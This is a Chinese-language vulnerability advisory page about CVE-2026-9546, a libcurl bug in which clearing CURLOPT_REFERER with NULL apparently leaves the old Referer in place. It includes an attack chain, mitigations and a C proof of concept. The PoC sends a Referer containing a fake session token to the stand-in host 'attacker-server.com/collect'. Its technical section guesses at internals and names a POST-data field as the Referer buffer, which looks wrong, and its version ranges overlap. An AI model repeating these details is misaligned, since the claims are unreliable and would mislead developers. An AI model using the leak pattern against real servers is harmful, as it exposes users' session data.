IPBUF安全漏洞报告
English
CVE-2026-9546 CVSS 7.5 高危

CVE-2026-9546 libcurl CURLOPT_REFERER清除失效导致信息泄露漏洞

披露日期: 2026-07-03
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2026-9546
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libcurl / curl

相关标签

libcurlcurl信息泄露Referer泄露HTTP头注入CURLOPT_REFERER高危漏洞CVE-2026-9546网络攻击客户端漏洞

漏洞概述

CVE-2026-9546是libcurl库中的一个高危信息泄露漏洞,CVSS评分为7.5。该漏洞涉及libcurl的CURLOPT_REFERER选项在处理NULL参数时的逻辑缺陷。根据libcurl的官方文档,当开发者将CURLOPT_REFERER选项设置为NULL时,应当完全抑制HTTP请求中的Referer头部。然而,在实际实现中,该选项未能正确清除libcurl内部的Referer状态,导致先前设置的Referer字符串在后续请求中被错误地重复使用和发送。

此漏洞的危害在于Referer头部通常包含用户先前访问的URL信息,其中可能包含会话令牌、敏感路径、用户身份信息或其他机密数据。当libcurl在用户明确请求清除Referer后仍然发送该头部时,这些敏感信息可能被泄露给非预期的服务器。攻击者可以通过控制用户后续请求的目标服务器来收集这些泄露的信息。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N,表明该漏洞可通过网络远程利用,无需任何认证或用户交互,且对机密性有高影响,但不影响完整性和可用性。这使得该漏洞特别适合大规模自动化利用,攻击者可以在用户不知情的情况下被动收集泄露的Referer信息。

技术细节

libcurl中的CURLOPT_REFERER选项用于设置HTTP请求中的Referer头部。按照设计,当开发者调用curl_easy_setopt(handle, CURLOPT_REFERER, NULL)时,libcurl应当清除之前设置的Referer值,并在后续请求中不发送Referer头部。

然而,在存在漏洞的版本中,当CURLOPT_REFERER被设置为NULL时,libcurl未能正确处理这一情况。具体而言,内部的Referer状态变量(如`data->set.str[STRING_COPYPOSTFIELDS]`或专门用于Referer的字符串缓冲区)没有被重置为NULL或空字符串。这意味着即使开发者明确请求清除Referer,libcurl仍然保留了先前设置的Referer值。

在后续的curl_easy_perform()调用中,当libcurl构造HTTP请求头时,它会检查Referer状态。由于内部状态未被清除,libcurl会使用之前缓存的Referer字符串并将其添加到新的HTTP请求中。这导致即使在跨域请求或重定向场景下,开发者认为已被清除的敏感Referer信息仍然被发送到非预期的服务器。

利用方式:
1. 攻击者控制一个目标服务器或拦截网络流量
2. 受害者应用程序使用libcurl进行多个HTTP请求
3. 第一个请求设置了Referer(例如访问包含敏感信息的页面)
4. 应用程序在第二个请求前调用curl_easy_setopt(handle, CURLOPT_REFERER, NULL)尝试清除Referer
5. 由于漏洞,第二个请求仍然包含第一个请求的Referer值
6. 攻击者通过接收到的Referer头部获取敏感信息

攻击链分析

STEP 1
步骤1:受害者应用程序使用libcurl发起第一个HTTP请求
应用程序调用curl_easy_setopt设置CURLOPT_REFERER为包含敏感信息的URL(如包含会话令牌、管理路径等的内部页面URL),然后执行该请求。
STEP 2
步骤2:应用程序尝试清除Referer
在第二个请求之前,应用程序调用curl_easy_setopt(handle, CURLOPT_REFERER, NULL),期望按照文档说明完全抑制Referer头部。
STEP 3
步骤3:漏洞触发,Referer未被清除
由于libcurl内部的Referer状态未被正确重置,先前设置的Referer字符串仍然保留在内部缓冲区中。
STEP 4
步骤4:第二个请求发送到攻击者控制的服务器
应用程序将第二个请求发送到攻击者控制的服务器(如通过重定向、链接点击或被篡改的目标URL)。
STEP 5
步骤5:攻击者收集泄露的Referer信息
攻击者的服务器接收到包含敏感Referer信息的HTTP请求,获取会话令牌、内部路径或其他机密数据,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <curl/curl.h> // PoC for CVE-2026-9546: libcurl CURLOPT_REFERER clearing failure // This demonstrates that setting CURLOPT_REFERER to NULL fails to clear // the internal Referer state, causing it to persist in subsequent requests. int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // First request: set a sensitive Referer header curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/first-request"); curl_easy_setopt(curl, CURLOPT_REFERER, "https://internal-server.com/admin/session=ABC123SECRET"); // Perform first request - Referer is sent as expected res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } // Attempt to clear the Referer header by setting it to NULL // According to documentation, this should suppress the Referer header curl_easy_setopt(curl, CURLOPT_REFERER, NULL); // Change URL to a different server (simulating attacker-controlled destination) curl_easy_setopt(curl, CURLOPT_URL, "https://attacker-server.com/collect"); // Perform second request // BUG: The Referer header from the first request is STILL sent // despite explicitly being cleared with NULL res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } // The attacker server would receive: // Referer: https://internal-server.com/admin/session=ABC123SECRET // This leaks sensitive information to an unintended server curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

影响范围

libcurl < 8.16.0
libcurl 8.0.0 - 8.15.x

防御指南

临时缓解措施
在无法立即升级libcurl的情况下,建议采取以下临时缓解措施:1) 使用curl_easy_reset()完全重置curl句柄,而非单独调用CURLOPT_REFERER设为NULL;2) 在每个敏感请求前创建新的CURL句柄;3) 在应用层手动检查并过滤HTTP请求头中的Referer字段;4) 避免在Referer中包含会话令牌、敏感路径等机密信息;5) 部署网络监控规则,检测异常的Referer头部泄露。强烈建议尽快升级到libcurl 8.16.0或更高版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表